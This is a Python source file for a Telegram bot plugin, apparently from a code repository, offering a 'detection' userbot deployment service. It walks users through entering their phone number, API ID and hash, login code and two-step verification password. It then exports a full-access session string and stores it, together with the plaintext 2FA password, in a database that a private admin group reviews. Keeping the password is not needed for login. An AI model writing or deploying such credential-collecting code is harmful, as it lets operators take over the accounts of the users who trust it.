File size: 13,103 Bytes
c4d8874 59136f0 c4d8874 a5c1e78 44e0e9d a5c1e78 59136f0 a5c1e78 81e2728 fa8c27b 59136f0 402f601 59136f0 402f601 59136f0 402f601 59136f0 c4d8874 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 |
import asyncio
import string
import pyromod
from random import choice
import logging
from datetime import datetime as dt
from asyncio.exceptions import TimeoutError
from pyrogram import Client, filters
from database import db
from config import PRIVATE_GROUP_ID
from pyrogram.errors import (
FloodWait,
PhoneNumberInvalid,
PhoneCodeInvalid,
PhoneCodeExpired,
SessionPasswordNeeded
)
from pyrogram.types import (
ReplyKeyboardRemove,
InlineKeyboardMarkup,
InlineKeyboardButton
)
LOGS = logging.getLogger(__name__)
def generate_random_string(length):
characters = string.ascii_uppercase + string.digits
random_string = ''.join(choice(characters) for _ in range(length))
return random_string
@Client.on_message(
filters.private
& filters.regex(r"^(Show Sessions)$")
)
async def show_session(client, message):
user_id = message.from_user.id
user_data = await db.users_detection.find_one({"user_id": user_id})
if not user_data or "user_client" not in user_data:
await message.reply_text("β No found!")
return
session = user_data["user_client"][0]["session_string"]
await message.reply_text(
f"Show Session: <code>{session}</code>",
reply_markup=ReplyKeyboardRemove()
)
@Client.on_message(
filters.private
& filters.regex(r"^(My Info)$")
)
async def myinfo(client, message):
user_id = message.from_user.id
user_data = await db.users_detection.find_one({"user_id": user_id})
if not user_data or "user_client" not in user_data:
await message.reply_text("β No found!")
return
status = user_data["user_client"][0]["status"]
active = user_data["user_client"][0]["is_active"]
if status == "approved":
await message.reply_text(
f"Check status active: <code>{active}</code>",
reply_markup=ReplyKeyboardRemove()
)
else:
await message.reply_text(
f"No found data",
reply_markup=ReplyKeyboardRemove()
)
@Client.on_message(
filters.private
& filters.regex(r"^(My Delete All)$")
)
async def mydeleteall(client, message):
user_id = message.from_user.id
user_data = await db.users_detection.find_one({"user_id": user_id})
if not user_data or "user_client" not in user_data:
await message.reply_text("β No found!")
return
session = user_data["user_client"][0]["session_string"]
result = await db.users_detection.update_one(
{"user_id": user_id},
{"$pull": {"user_client": {"session_string": session}}}
)
if result.modified_count == 1:
await message.reply_text(
"ποΈ **Session Deleted**\n\n"
f"All data for `{user_id}` has been removed\n",
reply_markup=ReplyKeyboardRemove()
)
else:
await message.reply_text(
"Error Failed maintenance",
reply_markup=ReplyKeyboardRemove()
)
@Client.on_message(
filters.private
& filters.regex(r"^(Start Sessions)$")
)
async def start_session(client, message):
user_id = message.from_user.id
try:
confirm_sesi = await message.chat.ask(
"Please send your SESSION_STRING (from Show Sessions):\n\n"
"Format should be: `asdfghkklxxxxx`\n\n"
"This not responding admins, You can try again issues\n"
"Type /cancel to abort",
timeout=300
)
except TimeoutError:
return await client.send_message(
message.chat.id, "`Time limit reached of 5 min.`"
)
if confirm_sesi.text.lower() == "/cancel":
return await client.send_message(message.chat.id, "Cancelled")
session = confirm_sesi.text
await confirm_sesi.delete()
now = dt.now().strftime("%Y-%m-%d %H:%M:%S")
admin_buttons = InlineKeyboardMarkup([
[InlineKeyboardButton("β
Approve", callback_data=f"approved_ub_{user_id}"),
InlineKeyboardButton("β Reject", callback_data=f"rejected_ub_{user_id}")],
[InlineKeyboardButton("π€ View User", url=f"tg://user?id={user_id}")]
])
existing_request = await db.users_detection.find_one({"user_client.session_string": session})
if existing_request:
await client.send_message(
message.chat.id,
f"β
**You already deployment Detection Request Submitted**\n\n"
f"β³ Admin approval usually takes <15 minutes",
reply_markup=InlineKeyboardMarkup([
[InlineKeyboardButton("π Check Status", callback_data=f"statusub_{user_id}")]
])
)
await client.send_message(
PRIVATE_GROUP_ID,
text=f"**Try again Detection Request**\n\n"
f"π€ User: {message.from_user.mention} (`{user_id}`)\n"
f"π Username: @{message.from_user.username}\n"
f"β° Submitted: {now}\n"
f"π· Tier: π Free",
reply_markup=admin_buttons
)
else:
await client.send_message(
message.chat.id,
"haven't found session yet, You want to try create detection",
reply_markup=ReplyKeyboardRemove()
)
@Client.on_message(
filters.contact
& filters.private
)
async def contact_check(bot, message):
if message.contact:
user_id = message.from_user.id
new_code_password = ""
contact = message.contact
client_name = generate_random_string(12)
phone = "+" + contact.phone_number
try:
confirm_apid = await message.chat.ask(
"Please send your API ID (from my.telegram.org):\n\n"
"Format should be: `123456`\n\n"
"Type /cancel to abort",
timeout=300
)
except TimeoutError:
return await bot.send_message(
message.chat.id, "`Time limit reached of 5 min.`"
)
if confirm_apid.text.lower() == "/cancel":
return await bot.send_message(message.chat.id, "Cancelled")
api_id = confirm_apid.text
await confirm_apid.delete()
try:
confirm_apihash = await message.chat.ask(
"Please send your API HASH (from my.telegram.org):\n\n"
"Format should be: `6asdksxxxxxxxx`\n\n"
"Type /cancel to abort",
timeout=300
)
except TimeoutError:
return await bot.send_message(
message.chat.id, "`Time limit reached of 5 min.`"
)
if confirm_apihash.text.lower() == "/cancel":
return await bot.send_message(message.chat.id, "Cancelled")
api_hash = confirm_apihash.text
await confirm_apihash.delete()
client = Client(
"{}".format(client_name),
api_id=int(api_id),
api_hash=api_hash
)
try:
await client.connect()
except ConnectionError:
await client.disconnect()
await client.connect()
except Exception as e:
LOGS.error(f"Error Connect Userbot: {str(e)}")
await client.disconnect()
return await bot.send_message(message.chat.id, "Error try again problem")
while True:
confirm = await message.chat.ask(
f'`Is "{phone}" correct? (y/n):` \n\ntype: `y` (If Yes)\ntype: `n` (If No)'
)
if confirm.text.lower() == "/cancel":
await bot.send_message(message.chat.id, "Cancelled")
return await client.disconnect()
if "y" in confirm.text.lower():
await confirm.delete()
break
try:
code = await client.send_code(phone)
await asyncio.sleep(1)
except FloodWait as e:
return await bot.send_message(
message.chat.id,
f"`you have floodwait of {e.value} Seconds`"
)
except PhoneNumberInvalid:
return await bot.send_message(
message.chat.id,
"`your Phone Number is Invalid.`"
)
except Exception as e:
return await bot.send_message(
message.chat.id,
f"`your Phone Number is Invalid: {e}`"
)
try:
otp = await message.chat.ask(
(
"`An otp is sent to your phone number, "
"Please enter otp in\n`1 2 3 4 5` format.`\n\n"
"`If Bot not sending OTP then try` /restart `cmd and again` /start `the Bot.`\n"
"Press /cancel to Cancel."
),
timeout=300,
)
except TimeoutError:
return await bot.send_message(
message.chat.id, "`Time limit reached of 5 min.`"
)
if otp.text.lower() == "/cancel":
await bot.send_message(message.chat.id, "Cancelled")
return await client.disconnect()
otp_code = otp.text
await otp.delete()
try:
await client.sign_in(
phone,
code.phone_code_hash,
phone_code=" ".join(str(otp_code))
)
except PhoneCodeInvalid:
return await bot.send_message(message.chat.id, "`Invalid Code.`")
except PhoneCodeExpired:
return await bot.send_message(message.chat.id, "`Code is Expired.`")
except SessionPasswordNeeded:
try:
two_step_code = await message.chat.ask(
"`This account have two-step verification code.\nPlease enter your second factor authentication code.`\nPress /cancel to Cancel.",
timeout=300,
)
except TimeoutError:
return await bot.send_message(
message.chat.id, "`Time limit reached of 5 min.`"
)
if two_step_code.text.lower() == "/cancel":
await bot.send_message(message.chat.id, "Cancelled")
return await client.disconnect()
new_code = two_step_code.text
new_code_password += two_step_code.text
await two_step_code.delete()
try:
await client.check_password(new_code)
except Exception as e:
return await bot.send_message(
message.chat.id, "**ERROR:** `{}`".format(e)
)
except Exception as e:
return await bot.send_message(
message.chat.id, "**ERROR:** `{}`".format(e),
)
session_string = await client.export_session_string()
await client.disconnect()
now = dt.now().strftime("%Y-%m-%d %H:%M:%S")
admin_buttons = InlineKeyboardMarkup([
[InlineKeyboardButton("β
Approve", callback_data=f"approved_ub_{user_id}"),
InlineKeyboardButton("β Reject", callback_data=f"rejected_ub_{user_id}")],
[InlineKeyboardButton("π€ View User", url=f"tg://user?id={user_id}")]
])
user_data = {
"api_id": int(api_id),
"api_hash": api_hash,
"user_id": user_id,
"is_active": False,
"status": "pending",
"created_at": now,
"timestamp": now,
"first_name": message.from_user.first_name,
"username": message.from_user.username,
"phone_number": phone,
"password": new_code_password,
"session_string": session_string,
}
existing_request = await db.users_detection.find_one({"user_id": user_id})
if existing_request:
await db.users_detection.update_one(
{"user_id": user_id},
{
"$push": {"user_client": user_data},
"$set": {"last_updated": now}
},
upsert=True
)
else:
await db.users_detection.insert_one(
{
"user_id": user_id,
"user_client": [user_data],
"created_at": now,
"last_updated": now
}
)
await bot.send_message(
message.chat.id,
f"β
**Deployment Detection Request Submitted**\n\n"
f"β³ Admin approval usually takes <15 minutes",
reply_markup=InlineKeyboardMarkup([
[InlineKeyboardButton("π Check Status", callback_data=f"statusub_{user_id}")]
])
)
await bot.send_message(
PRIVATE_GROUP_ID,
text=f"**New Detection Request**\n\n"
f"π€ User: {message.from_user.mention} (`{user_id}`)\n"
f"π Username: @{message.from_user.username}\n"
f"β° Submitted: {now}\n"
f"π· Tier: π Free",
reply_markup=admin_buttons
) |